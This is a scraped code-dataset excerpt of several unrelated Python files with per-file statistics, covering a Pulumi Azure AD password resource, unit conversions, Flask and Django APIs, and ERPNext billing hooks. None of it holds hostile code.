# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import pulumi import pulumi.runtime from .. import utilities, tables class ServicePrincipalPassword(pulumi.CustomResource): """ Manages a Password associated with a Service Principal within Azure Active Directory. -> **NOTE:** If you're authenticating using a Service Principal then it must have permissions to both `Read and write all applications` and `Sign in and read user profile` within the `Windows Azure Active Directory` API. """ def __init__(__self__, __name__, __opts__=None, end_date=None, key_id=None, service_principal_id=None, start_date=None, value=None): """Create a ServicePrincipalPassword resource with the given unique name, props, and options.""" if not __name__: raise TypeError('Missing resource name argument (for URN creation)') if not isinstance(__name__, str): raise TypeError('Expected resource name to be a string') if __opts__ and not isinstance(__opts__, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') __props__ = dict() if not end_date: raise TypeError('Missing required property end_date') __props__['end_date'] = end_date __props__['key_id'] = key_id if not service_principal_id: raise TypeError('Missing required property service_principal_id') __props__['service_principal_id'] = service_principal_id __props__['start_date'] = start_date if not value: raise TypeError('Missing required property value') __props__['value'] = value super(ServicePrincipalPassword, __self__).__init__( 'azure:ad/servicePrincipalPassword:ServicePrincipalPassword', __name__, __props__, __opts__) def translate_output_property(self, prop): return tables._CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop def translate_input_property(self, prop): return tables._SNAKE_TO_CAMEL_CASE_TABLE.get(prop) or prop
40.890909
224
0.695865
272
2,249
5.345588
0.426471
0.077029
0.061898
0.059835
0.145117
0.030261
0
0
0
0
0
0.000575
0.226323
2,249
54
225
41.648148
0.835057
0.256558
0
0
1
0
0.220732
0.035366
0
0
0
0
0
1
0.09375
false
0.09375
0.09375
0.0625
0.28125
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
f9d1d7cd26218ff10672dd63217ff914fdd7af28
761
py
Python
helper.py
shagunsodhani/Apriori
50c012c6d72226f95368e99c3361eff6590a66ed
[ "MIT" ]
1
2021-05-28T10:05:43.000Z
2021-05-28T10:05:43.000Z
helper.py
shagunsodhani/Apriori
50c012c6d72226f95368e99c3361eff6590a66ed
[ "MIT" ]
null
null
null
helper.py
shagunsodhani/Apriori
50c012c6d72226f95368e99c3361eff6590a66ed
[ "MIT" ]
null
null
null
import sys from itertools import chain, combinations from collections import defaultdict from optparse import OptionParser def subsets(arr): """ Returns non empty subsets of arr""" return chain(*[combinations(arr, i + 1) for i, a in enumerate(arr)]) def joinSet(itemSet, length): """Join a set with itself and returns the n-element itemsets""" return set([i.union(j) for i in itemSet for j in itemSet if len(i.union(j)) == length]) def dataFromFile(fname): """Function which reads from the file and yields a generator""" file_iter = open(fname, 'rU') for line in file_iter: line = line.strip().rstrip(',') # Remove trailing comma record = frozenset(line.split(',')) yield record
34.590909
93
0.660972
106
761
4.726415
0.575472
0.067864
0.027944
0
0
0
0
0
0
0
0
0.001706
0.229961
761
22
94
34.590909
0.853242
0.224704
0
0
0
0
0.006969
0
0
0
0
0
0
1
0.214286
false
0
0.285714
0
0.642857
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
f9e3001d96f63d03dc21cb14579d2eead970f0c3
18,233
py
Python
unitrevpy/units/volume.py
leonel-123/unit-converter
00850b2cc35c16d0127a76a15b19433ee463f9a6
[ "MIT" ]
null
null
null
unitrevpy/units/volume.py
leonel-123/unit-converter
00850b2cc35c16d0127a76a15b19433ee463f9a6
[ "MIT" ]
null
null
null
unitrevpy/units/volume.py
leonel-123/unit-converter
00850b2cc35c16d0127a76a15b19433ee463f9a6
[ "MIT" ]
null
null
null
# Volume units import numpy as np from .unit import Unit class Volume(Unit): """ units used cubic_mete, cubic_kilometer, cubic_centimeter, cubic_millimeter, liter, milliliter, us_gallon, us_quart, us_pint, us_cup, us_fluid_ounce, us_table_spoon, us_tea_spoon, imperial_gallon, imperial_quart, imperial_pint, imperial_fluid_ounce, imperial_table_spoon, imperial_tea_spoon, cubic_mile, cubic_yard, cubic_foot, cubic_inch """ def __init__(self, value, *args): super(Volume, self).__init__(value) if args: self.__convert_value_to_cubic_meter = args[0] self.__convert_value_to_cubic_kilometer = args[1] self.__convert_value_to_cubic_centimeter = args[2] self.__convert_value_to_cubic_millimeter = args[3] self.__convert_value_to_liter = args[4] self.__convert_value_to_milliliter = args[5] self.__convert_value_to_us_gallon = args[6] self.__convert_value_to_us_quart = args[7] self.__convert_value_to_us_pint = args[8] self.__convert_value_to_us_cup = args[9] self.__convert_value_to_us_fluid_ounce = args[10] self.__convert_value_to_us_table_spoon = args[11] self.__convert_value_to_us_tea_spoon = args[12] self.__convert_value_to_imperial_gallon = args[13] self.__convert_value_to_imperial_pint = args[14] self.__convert_value_to_imperial_quart = args[15] self.__convert_value_to_imperial_fluid_ounce = args[16] self.__convert_value_to_imperial_table_spoon = args[17] self.__convert_value_to_imperial_tea_spoon = args[18] self.__convert_value_to_cubic_mile = args[19] self.__convert_value_to_cubic_yard = args[20] self.__convert_value_to_cubic_foot = args[21] self.__convert_value_to_cubic_inch = args[22] def __operator(self, convert_value): if isinstance(self.value, list): self.value = np.array(self.value) return list(self.value * convert_value) return self.value*convert_value def to_cubic_meter(self): return self.__operator(self.__convert_value_to_cubic_meter) def to_kilometer(self): return self.__operator(self.__convert_value_to_cubic_kilometer) def to_cubic_centimeter(self): return self.__operator(self.__convert_value_to_cubic_centimeter) def to_cubic_millimeter(self): return self.__operator(self.__convert_value_to_cubic_millimeter) def to_liter(self): return self.__operator(self.__convert_value_to_liter) def to_milliliter(self): return self.__operator(self.__convert_value_to_milliliter) def to_us_gallon(self): return self.__operator(self.__convert_value_to_us_gallon) def to_us_quart(self): return self.__operator(self.__convert_value_to_us_quart) def to_us_pint(self): return self.__operator(self.__convert_value_to_us_pint) def to_us_cup(self): return self.__operator(self.__convert_value_to_us_cup) def to_us_fluid_ounce(self): return self.__operator(self.__convert_value_to_us_fluid_ounce) def to_us_table_spoon(self): return self.__operator(self.__convert_value_to_us_table_spoon) def to_us_tea_spoon(self): return self.__operator(self.__convert_value_to_us_tea_spoon) def to_imperial_gallon(self): return self.__operator(self.__convert_value_to_imperial_gallon) def to_imperial_quart(self): return self.__operator(self.__convert_value_to_imperial_quart) def to_imperial_pint(self): return self.__operator(self.__convert_value_to_imperial_pint) def to_imperial_fluid_ounce(self): return self.__operator(self.__convert_value_to_imperial_fluid_ounce) def to_imperial_table_spoon(self): return self.__operator(self.__convert_value_to_imperial_table_spoon) def to_imperial_tea_spoon(self): return self.__operator(self.__convert_value_to_imperial_tea_spoon) def to_cubic_mile(self): return self.__operator(self.__convert_value_to_cubic_mile) def to_cubic_yard(self): return self.__operator(self.__convert_value_to_cubic_yard) def to_cubic_foot(self): return self.__operator(self.__convert_value_to_cubic_foot) def to_cubic_inch(self): return self.__operator(self.__convert_value_to_cubic_inch) class CubicMeter(Volume): def __init__(self, value): super(CubicMeter, self).__init__(value, 1.0, 1.E-9, 1000000.0, 1000000000.0, 1000.0, 1000000.0, 264.17217686, 1056.6887074, 2113.3774149, 4226.7548297, 33814.038638, 67628.077276, 202884.23183, 219.9692483, 879.8769932, 1759.7539864, 35195.079728, 56312.127565, 168936.38269, 2.399128636E-10, 1.3079506193, 35.314666721, 61023.744095) class CubicKilometer(Volume): def __init__(self, value): super(CubicKilometer, self).__init__(value, 1000000000.0, 1.0, 1000000000000000.0, 1000000000000000000.0, 1000000000000.0, 1000000000000000.0, 264172176858.0, 1056688707432.0, 2113377414864.0, 4226754829728.0, 33814038637823.0, 67628077275645.0, 202884231826936.0, 219969248299.0, 879876993196.0, 1759753986393.0, 35195079727854.0, 56312127564566.0, 168936382693699.0, 0.2399128636, 1307950619.3, 35314666721.0, 61023744094732.0) class CubicCentimeter(Volume): def __init__(self, value): super(CubicCentimeter, self).__init__(value, 0.000001, 9.999999999E-16, 1.0, 1000.0, 0.001, 1.0, 0.0002641722, 0.0010566887, 0.0021133774, 0.0042267548, 0.0338140386, 0.0676280773, 0.2028842318, 0.0002199692, 0.000879877, 0.001759754, 0.0351950797, 0.0563121276, 0.1689363827, 2.399128636E-16, 0.000001308, 0.0000353147, 0.0610237441) class CubicMillimeter(Volume): def __init__(self, value): super(CubicMillimeter, self).__init__(value, 1.E-9, 1.E-18, 0.001, 1.0, 0.000001, 0.001, 2.641721768E-7, 0.0000010567, 0.0000021134, 0.0000042268, 0.000033814, 0.0000676281, 0.0002028842, 2.199692482E-7, 8.798769931E-7, 0.0000017598, 0.0000351951, 0.0000563121, 0.0001689364, 2.399128636E-19, 1.307950619E-9, 3.531466672E-8, 3.531466672E-8) class Liter(Volume): def __init__(self, value): super(Liter, self).__init__(value, 0.001, 1.E-12, 1000, 1000000, 1.0, 1000.0, 0.2641721769, 1.0566887074, 2.1133774149, 4.2267548297, 33.814038638, 67.628077276, 202.88423183, 0.2199692483, 0.8798769932, 1.7597539864, 35.195079728, 56.312127565, 168.93638269, 2.399128636E-13, 0.0013079506, 0.0353146667, 61.023744095) class Milliliter(Volume): def __init__(self, value): super(Milliliter, self).__init__(value, 0.000001, 9.999999999E-16, 1.0, 1000.0, 0.001, 1.0, 0.0002641722, 0.0010566887, 0.0021133774, 0.0042267548, 0.0338140386, 0.0676280773, 0.2028842318, 0.0002199692, 0.000879877, 0.001759754, 0.0351950797, 0.0563121276, 0.1689363827, 2.399128636E-16, 0.000001308, 0.0000353147, 0.0610237441) class USGallon(Volume): def __init__(self, value): super(USGallon, self).__init__(value, 0.00378541, 3.78541E-12, 3785.41, 3785410.0, 3.78541, 3785.41, 1.0, 4.0, 8.0, 16.0, 128.0, 256.0, 768.0, 0.8326737922, 3.3306951688, 6.6613903376, 133.22780675, 213.1644908, 639.49347241, 9.081685531E-13, 0.0049511294, 0.1336804926, 230.99989113) class USQuart(Volume): def __init__(self, value): super(USQuart, self).__init__(value, 0.0009463525, 9.463525E-13, 946.3525, 946352.5, 0.9463525, 946.3525, 0.25, 1.0, 2.0, 4.0, 32.0, 64.0, 192.0, 0.2081684481, 0.8326737922, 1.6653475844, 33.306951688, 53.291122701, 159.8733681, 2.270421382E-13, 0.0012377823, 0.0334201231, 57.749972783) class USPint(Volume): def __init__(self, value): super(USPint, self).__init__(value, 0.0004731763, 4.7317625E-13, 473.17625, 473176.25, 0.47317625, 473.17625, 0.125, 0.5, 1.0, 2.0, 16.0, 32.0, 96.0, 0.104084224, 0.4163368961, 0.8326737922, 16.653475844, 26.645561351, 79.936684052, 1.135210691E-13, 0.0006188912, 0.0167100616, 28.874986392) class USCup(Volume): def __init__(self, value): super(USCup, self).__init__(value, 0.0002365881, 2.36588125E-13, 236.588125, 236588.125, 0.236588125, 236.588125, 0.0625, 0.25, 0.5, 1.0, 8.0, 16.0, 48.0, 0.052042112, 0.2081684481, 0.4163368961, 8.326737922, 13.322780675, 39.968342026, 5.676053457E-14, 0.0003094456, 0.0083550308, 14.437493196) class USFluidOunce(Volume): def __init__(self, value): super(USFluidOunce, self).__init__(value, 0.0000295735, 2.957351562E-14, 29.573515625, 29573.515625, 0.0295735156, 29.573515625, 0.0078125, 0.03125, 0.0625, 0.125, 1.0, 2.0, 6.0, 0.006505264, 0.026021056, 0.052042112, 1.0408422403, 1.6653475844, 4.9960427532, 7.095066821E-15, 0.0000386807, 0.0010443788, 1.8046866495) class USTableSpoon(Volume): def __init__(self, value): super(USTableSpoon, self).__init__(value, 0.0000147868, 1.478675781E-14, 14.786757812, 14786.757812, 0.0147867578, 14.786757812, 0.00390625, 0.015625, 0.03125, 0.0625, 0.5, 1.0, 3.0, 0.003252632, 0.013010528, 0.026021056, 0.5204211201, 0.8326737922, 2.4980213766, 3.54753341E-15, 0.0000193403, 0.0005221894, 0.9023433247) class USTeaSpoon(Volume): def __init__(self, value): super(USTeaSpoon, self).__init__(value, 0.0000049289, 4.92891927E-15, 4.9289192708, 4928.9192708, 0.0049289193, 4.9289192708, 0.0013020833, 0.0052083333, 0.0104166667, 0.0208333333, 0.1666666667, 0.3333333333, 1.0, 0.0010842107, 0.0043368427, 0.0086736853, 0.1734737067, 0.2775579307, 0.8326737922, 1.182511136E-15, 0.0000064468, 0.0001740631, 0.3007811082) class ImperialGallon(Volume): def __init__(self, value): super(ImperialGallon, self).__init__(value, 0.00454609, 4.54609E-12, 4546.09, 4546090.0, 4.54609, 4546.09, 1.2009504915, 4.803801966, 9.6076039319, 19.215207864, 153.72166291, 307.44332582, 922.32997747, 1.0, 4.0, 8.0, 160.0, 256.0, 768.0, 1.09066547E-12, 0.0059460612, 0.1605436532, 277.41943279) class ImperialQuart(Volume): def __init__(self, value): super(ImperialQuart, self).__init__(value, 0.0011365225, 1.1365225E-12, 1136.5225, 1136522.5, 1.1365225, 1136.5225, 0.3002376229, 1.2009504915, 2.401900983, 4.803801966, 38.430415728, 76.860831456, 230.58249437, 0.25, 1.0, 2.0, 40.0, 64.0, 192.0, 2.726663675E-13, 0.0014865153, 0.0401359133, 69.354858198) class ImperialPint(Volume): def __init__(self, value): super(ImperialPint, self).__init__(value, 0.0005682613, 5.6826125E-13, 568.26125, 568261.25, 0.56826125, 568.26125, 0.1501188114, 0.6004752457, 1.2009504915, 2.401900983, 19.215207864, 38.430415728, 115.29124718, 0.125, 0.5, 1.0, 20.0, 32.0, 96.0, 1.363331837E-13, 0.0007432577, 0.0200679567, 34.677429099) class ImperialFluidOunce(Volume): def __init__(self, value): super(ImperialFluidOunce, self).__init__(value, 0.0000284131, 2.84130625E-14, 28.4130625, 28413.0625, 0.0284130625, 28.4130625, 0.0075059406, 0.0300237623, 0.0600475246, 0.1200950491, 0.9607603932, 1.9215207864, 5.7645623592, 0.00625, 0.025, 0.05, 1.0, 1.6, 4.8, 6.816659189E-15, 0.0000371629, 0.0010033978, 1.7338714549) class ImperialTableSpoon(Volume): def __init__(self, value): super(ImperialTableSpoon, self).__init__(value, 0.0000177582, 1.775816406E-14, 17.758164063, 17758.164063, 0.0177581641, 17.758164063, 0.0046912129, 0.0187648514, 0.0375297029, 0.0750594057, 0.6004752457, 1.2009504915, 3.6028514745, 0.00390625, 0.015625, 0.03125, 0.625, 1.0, 3.0, 4.260411993E-15, 0.0000232268, 0.0006271236, 1.0836696593) class ImperialTeaSpoon(Volume): def __init__(self, value): super(ImperialTeaSpoon, self).__init__(value, 0.0000059194, 5.91938802E-15, 5.9193880208, 5919.3880208, 0.005919388, 5.9193880208, 0.0015637376, 0.0062549505, 0.012509901, 0.0250198019, 0.2001584152, 0.4003168305, 1.2009504915, 0.0013020833, 0.0052083333, 0.0104166667, 0.2083333333, 0.3333333333, 1.0, 1.420137331E-15, 0.0000077423, 0.0002090412, 0.3612232198) class CubicMile(Volume): def __init__(self, value): super(CubicMile, self).__init__(value, 4168180000.0, 4.16818, 4168180000000000.0, 4168179999999999500.0, 4168180000000.0, 4168180000000000.0, 1101117184136.0, 4404468736544.0, 8808937473087.0, 17617874946175.0, 140942999569399.0, 281885999138799.0, 845657997416396.0, 916871421375.0, 3667485685501.0, 7334971371002.0, 146699427420047.0, 234719083872075.0, 704157251616224.0, 1.0, 5451773612.4, 147197887535.0, 254357949660781.0) class CubicYard(Volume): def __init__(self, value): super(CubicYard, self).__init__(value, 0.764554858, 7.645548579E-10, 764554.85798, 764554857.98, 764.55485798, 764554.85798, 201.97412116, 807.89648464, 1615.7929693, 3231.5859386, 25852.687509, 51705.375017, 155116.12505, 168.17855739, 672.71422958, 1345.4284592, 26908.569183, 43053.710693, 129161.13208, 1.834265453E-10, 1.0, 27.0, 46656.0) class CubicFoot(Volume): def __init__(self, value): super(CubicFoot, self).__init__(value, 0.0283168466, 2.831684659E-11, 28316.846592, 28316846.592, 28.316846592, 28316.846592, 7.480523006, 29.922092024, 59.844184048, 119.6883681, 957.50694476, 1915.0138895, 5745.0416686, 6.228835459, 24.915341836, 49.830683672, 996.61367345, 1594.5818775, 4783.7456325, 6.793575755E-12, 0.037037037, 1.0, 1728.0) class CubicInch(Volume): def __init__(self, value): super(CubicInch, self).__init__(value, 0.0000163871, 1.6387064E-14, 16.387064, 16387.064, 0.016387064, 16.387064, 0.0043290064, 0.0173160255, 0.034632051, 0.0692641019, 0.5541128153, 1.1082256305, 3.3246768915, 0.0036046501, 0.0144186006, 0.0288372012, 0.576744024, 0.9227904384, 2.7683713151, 3.931467451E-15, 0.0000214335, 0.0005787037, 1.0)
52.696532
120
0.552186
2,002
18,233
4.727772
0.279221
0.062124
0.079451
0.08748
0.345695
0.329319
0.2056
0.167142
0.15869
0.083465
0
0.42885
0.353261
18,233
345
121
52.849275
0.373813
0.019251
0
0.089844
0
0
0
0
0
0
0
0
0
1
0.1875
false
0
0.007813
0.089844
0.386719
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
dda41853998a860e6b861451b13a4e16437f83b3
379
py
Python
Weight_init.py
choujujua/Semantic-Segmentation
98eae3c8465f8cd4d2cdeb708d81e9bb8941a90f
[ "Apache-2.0" ]
5
2020-07-14T01:39:05.000Z
2021-08-03T03:09:30.000Z
Weight_init.py
choujujua/Semantic-Segmentation
98eae3c8465f8cd4d2cdeb708d81e9bb8941a90f
[ "Apache-2.0" ]
null
null
null
Weight_init.py
choujujua/Semantic-Segmentation
98eae3c8465f8cd4d2cdeb708d81e9bb8941a90f
[ "Apache-2.0" ]
null
null
null
#pytorch 自定义网络权重初始化 def _init_weight(self): for m in self.modules(): if isinstance(m, nn.Conv2d): n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels m.weight.data.normal_(0, math.sqrt(2. / n)) elif isinstance(m, BatchNorm2d): m.weight.data.fill_(1) m.bias.data.zero_()
37.9
72
0.527704
50
379
3.84
0.62
0.114583
0.114583
0
0
0
0
0
0
0
0
0.028226
0.345646
379
9
73
42.111111
0.745968
0.047493
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
ddb86721042893e6a663f99aa6f9ba226e938444
250
py
Python
lib/rabbitmq-dotnet-client-rabbitmq_v3_4_4/docs/pyle2-fcfcf7e/sublanguages/comment.py
CymaticLabs/Unity3d.Amqp
42ca5de66fcda21ef6a4040bade99118b2ad6374
[ "MIT" ]
83
2017-03-15T12:43:25.000Z
2022-03-31T12:38:44.000Z
lib/rabbitmq-dotnet-client-rabbitmq_v3_4_4/docs/pyle2-fcfcf7e/sublanguages/comment.py
CymaticLabs/Unity3d.Amqp
42ca5de66fcda21ef6a4040bade99118b2ad6374
[ "MIT" ]
18
2017-03-20T14:12:58.000Z
2021-07-28T09:11:55.000Z
lib/rabbitmq-dotnet-client-rabbitmq_v3_4_4/docs/pyle2-fcfcf7e/sublanguages/comment.py
CymaticLabs/Unity3d.Amqp
42ca5de66fcda21ef6a4040bade99118b2ad6374
[ "MIT" ]
25
2017-04-01T01:40:02.000Z
2022-02-20T11:08:12.000Z
info = { "friendly_name": "Comment (Block)", "example_template": "comment text", "summary": "The text within the block is not interpreted or rendered in the final displayed page.", } def SublanguageHandler(args, doc, renderer): pass
27.777778
103
0.692
31
250
5.516129
0.83871
0
0
0
0
0
0
0
0
0
0
0
0.192
250
8
104
31.25
0.846535
0
0
0
0
0
0.592
0
0
0
0
0
0
1
0.142857
false
0.142857
0
0
0.142857
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
ddbd8681f89bd5a9371cf1c5aeca9517b08537b4
251
py
Python
setup.py
sotlampr/personal-site
c7bc369ff2befba5cea8bad6c1c6808d56a17cec
[ "MIT" ]
null
null
null
setup.py
sotlampr/personal-site
c7bc369ff2befba5cea8bad6c1c6808d56a17cec
[ "MIT" ]
null
null
null
setup.py
sotlampr/personal-site
c7bc369ff2befba5cea8bad6c1c6808d56a17cec
[ "MIT" ]
null
null
null
from setuptools import setup setup(name='Sotlampr Personal Site', version='0.1', description='A basic personal site', author='Sotiris Lamprinidis', author_email='sot.lampr@gmail.com', install_requires=['Flask>=0.10.1'])
27.888889
42
0.673307
32
251
5.21875
0.8125
0.143713
0
0
0
0
0
0
0
0
0
0.029412
0.187251
251
8
43
31.375
0.789216
0
0
0
0
0
0.386454
0
0
0
0
0
0
1
0
true
0
0.142857
0
0.142857
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
ddbe3818c8855546d13cfd479196d9474cf0ca81
254
py
Python
CodeWars_challenges/big_number_to_small_intergers.py
LukeBlech/Lukes_Python_HB
ad4152902b0afd1238cabb673a92c38c65c13fd4
[ "MIT" ]
null
null
null
CodeWars_challenges/big_number_to_small_intergers.py
LukeBlech/Lukes_Python_HB
ad4152902b0afd1238cabb673a92c38c65c13fd4
[ "MIT" ]
null
null
null
CodeWars_challenges/big_number_to_small_intergers.py
LukeBlech/Lukes_Python_HB
ad4152902b0afd1238cabb673a92c38c65c13fd4
[ "MIT" ]
null
null
null
def digitize(n): if n == 0: return[0] else: digits = [] while n > 0: digits.append(n % 10) n = (n - n % 10) // 10 return(digits[::-1]) #def digitize(n): #return list(map(int, str(n)))cc
21.166667
36
0.429134
35
254
3.114286
0.485714
0.201835
0.220183
0
0
0
0
0
0
0
0
0.065359
0.397638
254
12
36
21.166667
0.647059
0.185039
0
0
0
0
0
0
0
0
0
0
0
1
0.111111
false
0
0
0
0.111111
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
ddc759afb8a70e79b07b7f96ba343b12b3a9d209
1,822
py
Python
equipment/weapons.py
jyurkiw/py_cyberpunk_2020_rest_api
f423761622c11b6f91556560a309697144a166a5
[ "MIT" ]
null
null
null
equipment/weapons.py
jyurkiw/py_cyberpunk_2020_rest_api
f423761622c11b6f91556560a309697144a166a5
[ "MIT" ]
null
null
null
equipment/weapons.py
jyurkiw/py_cyberpunk_2020_rest_api
f423761622c11b6f91556560a309697144a166a5
[ "MIT" ]
null
null
null
from util import db from util import getFilteredQuery from flask import jsonify from flask_restful import Resource from flask_restful import reqparse from urllib.parse import unquote _weaponsCollection = db.weapons class WeaponsListApi(Resource): def get(self): return jsonify(getFilteredQuery(_weaponsCollection, {})) class WeaponCategoriesListApi(Resource): def get(self): return jsonify(_weaponsCollection.distinct("category")) class WeaponsByAvailabilityApi(Resource): def get(self, availability): return jsonify( getFilteredQuery(_weaponsCollection, {"availability": availability}) ) class WeaponsByCategoryApi(Resource): def get(self, category): return jsonify( getFilteredQuery( _weaponsCollection, {"category": unquote(category)} ) ) class WeaponsByConcealabilityApi(Resource): def get(self, concealability): return jsonify( getFilteredQuery( _weaponsCollection, {"concealability": concealability} ) ) class WeaponsByFilterApi(Resource): def post(self): parser = reqparse.RequestParser() parser.add_argument("availability", type=str, default=None) parser.add_argument("category", type=str, default=None) parser.add_argument("concealability", type=str, default=None) parser.add_argument("reliability", type=str, default=None) parser.add_argument("type", type=str, default=None) parser.add_argument("ammo_type", type=str, default=None) parser.add_argument("random_count", type=int, default=None) args = parser.parse_args() return jsonify(getFilteredQuery(_weaponsCollection, args))
30.366667
81
0.665752
167
1,822
7.149701
0.269461
0.052764
0.099665
0.090452
0.234506
0.234506
0.18258
0.065327
0
0
0
0
0.244237
1,822
59
82
30.881356
0.867102
0
0
0.159091
0
0
0.063528
0
0
0
0
0
0
1
0.136364
false
0
0.136364
0.113636
0.545455
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
ddd1210cd7c660d34657def37775fe9c6b75b83c
3,895
py
Python
ptmsa/ptmsa/custom_ptmsa.py
jof2jc/ptmsa
af5694342050b1b6042c3bb87282e1e6d843cf56
[ "MIT" ]
null
null
null
ptmsa/ptmsa/custom_ptmsa.py
jof2jc/ptmsa
af5694342050b1b6042c3bb87282e1e6d843cf56
[ "MIT" ]
null
null
null
ptmsa/ptmsa/custom_ptmsa.py
jof2jc/ptmsa
af5694342050b1b6042c3bb87282e1e6d843cf56
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright (c) 2015, jonathan and Contributors # See license.txt from __future__ import unicode_literals import frappe from frappe import _ from frappe.utils import flt, cstr from frappe.desk.reportview import get_match_cond, get_filters_cond from frappe.utils import nowdate from collections import defaultdict # test_records = frappe.get_test_records('testdoctype') def set_purchase_receipt_per_billed(self, method): if self.docstatus == 1 or self.docstatus == 2: for d in self.items: if d.purchase_receipt: ref_doc_qty = flt(frappe.db.sql("""select ifnull(sum(qty), 0) from `tabPurchase Receipt Item` where parent=%s""", (d.purchase_receipt))[0][0]) print 'ref_doc_qty=' + cstr(ref_doc_qty) billed_qty = flt(frappe.db.sql("""SELECT ifnull(sum(qty), 0) as billed_qty FROM `tabPurchase Invoice` si INNER JOIN `tabPurchase Invoice Item` it ON si.name=it.parent where si.docstatus=1 and it.purchase_receipt=%s and si.name=%s""", (d.purchase_receipt, self.name))[0][0]) #billed_qty = 100 print 'billed_qty=' + cstr(billed_qty) per_billed = ((ref_doc_qty if billed_qty > ref_doc_qty else billed_qty)\ / ref_doc_qty)*100 print 'per_billed=' + cstr(per_billed) doc = frappe.get_doc("Purchase Receipt", d.purchase_receipt) #frappe.throw(_("doc.per_billed = {0} per_billed = {1}").format(doc.per_billed, per_billed)) if doc.per_billed < 100: doc.db_set("per_billed", "100") doc.set_status(update=True) if self.docstatus == 2: doc.db_set("per_billed", "0") doc.set_status(update=True) def set_delivery_status_per_billed(self, method): #frappe.msgprint("hi..") if self.docstatus == 1 or self.docstatus == 2: for d in self.items: if d.delivery_note: ref_doc_qty = flt(frappe.db.sql("""select ifnull(sum(qty), 0) from `tabDelivery Note Item` where parent=%s""", (d.delivery_note))[0][0]) print 'ref_doc_qty=' + cstr(ref_doc_qty) billed_qty = flt(frappe.db.sql("""SELECT ifnull(sum(qty), 0) as billed_qty FROM `tabSales Invoice` si INNER JOIN `tabSales Invoice Item` it ON si.name=it.parent where si.docstatus=1 and it.delivery_note=%s and si.name=%s""", (d.delivery_note, self.name))[0][0]) #billed_qty = 100 print 'billed_qty=' + cstr(billed_qty) per_billed = ((ref_doc_qty if billed_qty > ref_doc_qty else billed_qty)\ / ref_doc_qty)*100 print 'per_billed=' + cstr(per_billed) doc = frappe.get_doc("Delivery Note", d.delivery_note) #frappe.msgprint(_("doc.per_billed = {0} per_billed = {1}").format(doc.per_billed, per_billed)) if doc.per_billed < 100: doc.db_set("per_billed", "100") doc.set_status(update=True) if self.docstatus == 2: doc.db_set("per_billed", "0") doc.set_status(update=True) def patch_delivery_status_per_billed(): _list = frappe.db.sql ("""SELECT it.delivery_note, ifnull(sum(qty), 0) as billed_qty FROM `tabSales Invoice` si INNER JOIN `tabSales Invoice Item` it ON si.name=it.parent where si.docstatus=1 and it.delivery_note <> '' group by it.delivery_note""", as_dict=1) print _list for d in _list: print 'd.delivery_note=' + cstr(d.delivery_note) ref_doc_qty = flt(frappe.db.sql("""select ifnull(sum(qty), 0) from `tabDelivery Note Item` where parent=%s""", (d.delivery_note))[0][0]) print 'ref_doc_qty=' + cstr(ref_doc_qty) #billed_qty = flt(frappe.db.sql("""select ifnull(sum(qty), 0) from `tabSales Invoice Item` #where delivery_note=%s and docstatus=1""", (d.delivery_note))[0][0]) print 'd.billed_qty=' + cstr(d.billed_qty) per_billed = ((ref_doc_qty if d.billed_qty > ref_doc_qty else d.billed_qty)\ / ref_doc_qty)*100 print 'per_billed=' + cstr(per_billed) doc = frappe.get_doc("Delivery Note", d.delivery_note) if doc.per_billed < 100: doc.db_set("per_billed", per_billed) doc.set_status(update=True)
39.744898
151
0.701412
631
3,895
4.099842
0.144216
0.100889
0.062621
0.045999
0.695014
0.679938
0.653653
0.653653
0.642443
0.642443
0
0.021633
0.157381
3,895
97
152
40.154639
0.766606
0.137356
0
0.578125
0
0.09375
0.3181
0.006571
0
0
0
0
0
0
null
null
0
0.109375
null
null
0.171875
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
ddd770309dcc065d04374339a5441d3d6c05bcaf
348
py
Python
server/organization/serializers.py
NicholasNagy/ALTA
ca07627481ee91f2969b0fc8e8f15e2a37b3e992
[ "Apache-2.0" ]
3
2020-09-09T23:26:29.000Z
2020-10-17T22:58:34.000Z
server/organization/serializers.py
NicholasNagy/ALTA
ca07627481ee91f2969b0fc8e8f15e2a37b3e992
[ "Apache-2.0" ]
294
2020-09-27T17:20:50.000Z
2021-06-23T01:44:09.000Z
server/organization/serializers.py
NicholasNagy/ALTA
ca07627481ee91f2969b0fc8e8f15e2a37b3e992
[ "Apache-2.0" ]
10
2020-10-07T05:25:30.000Z
2021-05-01T05:32:59.000Z
from rest_framework import serializers from .models import Organization class OrganizationSerializer(serializers.ModelSerializer): class Meta: model = Organization fields = ['org_id', 'org_name', 'address', 'status', 'inventory_items_refresh_job', 'calendar_date', 'file', 'ftp_location', 'repeat_interval']
34.8
116
0.706897
35
348
6.771429
0.828571
0
0
0
0
0
0
0
0
0
0
0
0.189655
348
